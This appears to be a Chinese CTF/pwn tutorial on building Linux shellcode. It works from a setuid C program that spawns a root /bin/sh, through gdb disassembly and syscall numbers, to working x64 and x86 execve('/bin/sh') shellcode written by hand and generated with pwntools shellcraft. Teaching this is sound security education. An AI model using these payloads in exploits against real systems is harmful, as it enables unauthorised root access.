构造 Shellcode (on Linux)


shellcode 就是指攻击者要执行的代码,执行 shellcode 可以使攻击者获取某种权限。一般来说,只要启动了 bin/sh,攻击者就能完全控制计算机。因此shellcode 就是指一段很短小的,用于启动 bin/sh 的机器代码。 在开始了解 shellcode 之前,最好先弄清楚 Linux 用户权限 本文实例环境是 Ubuntu16.04 64 bit.

0x10 综述

先上一份示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//sample.c
#include <unistd.h>
#include <stdio.h>

int main(int argc, char *argv[])
{
setreuid(0, 0);

char *data[2];
char sh[] = "/bin/sh";

data[0] = sh;
data[1] = NULL;

execve(sh, data, NULL);
return 0;
}

运行结果如下:

1
2
3
4
5
6
7
8
kyrios@predator:~/CTF/PWN/Elder$ sudo su
[sudo] kyrios 的密码:
predator# gcc -Wall -static sample.c -o sample
predator# chmod 4577 sample
predator# exit
kyrios@predator:~/CTF/PWN/Elder$ ./sample
# whoami
root

看,通过运行这个程序,我们以普通用户的身份拿到了 root 权限的 shell。

/*也许不少人会更熟悉system("/bin/sh");这样的写法。但是 system 函数本质上是 fork 出一个进程来调用了 execve 函数,所以个人感觉这样其实是更接近本质的 shellcode。当然实际应用肯定还是 system 写起来方便,而且就这份代码而言,两者使用起来并没有什么差别。 上面的代码包含了很多底层的细节,如果你了解 Linux 用户权限的话应该会有所体会。不过本文的着重点并不在于此,故不赘述。*/

0x20 解析&构造

接下来我们用 gdb 来分析一下这份代码,我们首先看一下关键的 execve 函数部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
kyrios@predator:~/CTF/PWN/Elder$ gdb sample
GNU gdb (Ubuntu 7.11-0ubuntu1) 7.11
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.

gdb-peda$ disas execve
Dump of assembler code for function execve:
0x000000000043e890 <+0>: mov eax,0x3b
0x000000000043e895 <+5>: syscall
0x000000000043e897 <+7>: cmp rax,0xfffffffffffff001
0x000000000043e89d <+13>: jae 0x444200 <__syscall_error>
0x000000000043e8a3 <+19>: ret
End of assembler dump.

这里 syscall 是 64 位的系统调用(32 位的系统调用是 int 0x80)。而前面的mov eax,0x3b是把 0x3b(59)作为本次系统调用的编号。系统内核会根据不同的编号来实现不同的调用。 借此机会,我们简单的讲一下系统调用。


系统调用

在电脑中,系统调用(英语:system call),又称为系统呼叫,指运行在使用者空间的程序向操作系统内核请求需要更高权限运行的服务。系统调用提供用户程序与操作系统之间的接口。

我们可以看看哪些操作是需要通过系统调用来实现的,在我的本机上系统调用的编号文件在/usr/include/asm/unistd_64.h里面 把 64 改成 32 就是 32 位的系统调用编号。我们可以看看里面的内容

1
2
3
4
5
6
7
8
9
10
11
#define __NR_read 0
#define __NR_write 1
#define __NR_open 2
#define __NR_close 3
···
#define __NR_fork 57
#define __NR_vfork 58
#define __NR_execve 59
#define __NR_exit 60
#define __NR_wait4 61
#define __NR_kill 62
可以看到很多我们比较熟悉的函数其实都是通过系统调用来实现的。 当我们要调用这些函数的时候,我们只需要把对应的编号装进EAX,再引发系统中断(int 0x80/syscall)就可以,也就是说,不考虑传参的话,我们调用 write() 在 x64 下就可以写成
1
2
mov    eax,0x4
syscall


接下来我们再看一下主程的反汇编结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
gdb-peda$ disas main
Dump of assembler code for function main:
0x00000000004009ae <+0>: push rbp
0x00000000004009af <+1>: mov rbp,rsp
0x00000000004009b2 <+4>: sub rsp,0x20
0x00000000004009b6 <+8>: mov rax,QWORD PTR fs:0x28
0x00000000004009bf <+17>: mov QWORD PTR [rbp-0x8],rax
0x00000000004009c3 <+21>: xor eax,eax
0x00000000004009c5 <+23>: mov esi,0x0
0x00000000004009ca <+28>: mov edi,0x0
0x00000000004009cf <+33>: call 0x43fbd0 <setreuid>
0x00000000004009d4 <+38>: movabs rax,0x68732f6e69622f
0x00000000004009de <+48>: mov QWORD PTR [rbp-0x10],rax
0x00000000004009e2 <+52>: lea rax,[rbp-0x10]
0x00000000004009e6 <+56>: mov QWORD PTR [rbp-0x20],rax
0x00000000004009ea <+60>: mov QWORD PTR [rbp-0x18],0x0
0x00000000004009f2 <+68>: lea rcx,[rbp-0x20]
0x00000000004009f6 <+72>: lea rax,[rbp-0x10]
0x00000000004009fa <+76>: mov edx,0x0
0x00000000004009ff <+81>: mov rsi,rcx
0x0000000000400a02 <+84>: mov rdi,rax
0x0000000000400a05 <+87>: call 0x43e890 <execve>
0x0000000000400a0a <+92>: mov eax,0x0
0x0000000000400a0f <+97>: mov rdx,QWORD PTR [rbp-0x8]
0x0000000000400a13 <+101>: xor rdx,QWORD PTR fs:0x28
0x0000000000400a1c <+110>: je 0x400a23 <main+117>
0x0000000000400a1e <+112>: call 0x442b60 <__stack_chk_fail>
0x0000000000400a23 <+117>: leave
0x0000000000400a24 <+118>: ret
End of assembler dump.
从 0x4009fa 开始是 execve 的传参,并在 0x400a05 处调用 execve 函数。 我们能够知道 execve 这里的三个参数

  • 参数1:rax(/bin/sh 的地址)
  • 参数2:rcx(/bin/sh 的地址以及内容为 NULL 的数组)
  • 参数3:NULL

根据这个我们能用 pwntools 写出 shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# x64
shellcode = asm(
'''
xor rdi,rdi ; rdi null
push rdi ; null
push rdi ; null
pop rsi ; argv null
pop rdx ; envp null
mov rdi,0x68732f6e69622f2f ; hs/nib//
shr rdi,0x08 ; no nulls, so shr to get \0
push rdi ; \0hs/nib/
push rsp
pop rdi ; pointer to arguments
push 0x3b ; execve
pop rax
syscall ; make the call
'''
)
1
2
3
4
5
6
7
8
9
10
11
12
# x86
shellcode = asm(
'''
push 0x68732f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor eax,eax
mov al,0xb
int 0x80
'''
)
这里提一下记得在用 asm 函数是注意一下 contextType,它存储了 CPU 类型以及操作系统,如果 contextType 不对的话你的 asm 函数可能会报错。

0x30 就是有这种操作

如果你实在不想写 shellcode,pwntools 有自带的 shellcode 生成器。 语法:shellcraft.arch.os.cmd() 比如你要生成在 64 位的 Linux 上执行 /bin/sh 的 shellcode 就可以使用shellcraft.amd64.linux.sh()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
>>> print shellcraft.amd64.linux.sh()
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push '/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push 'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
再搭配 asm 函数,你就能得到你想要的。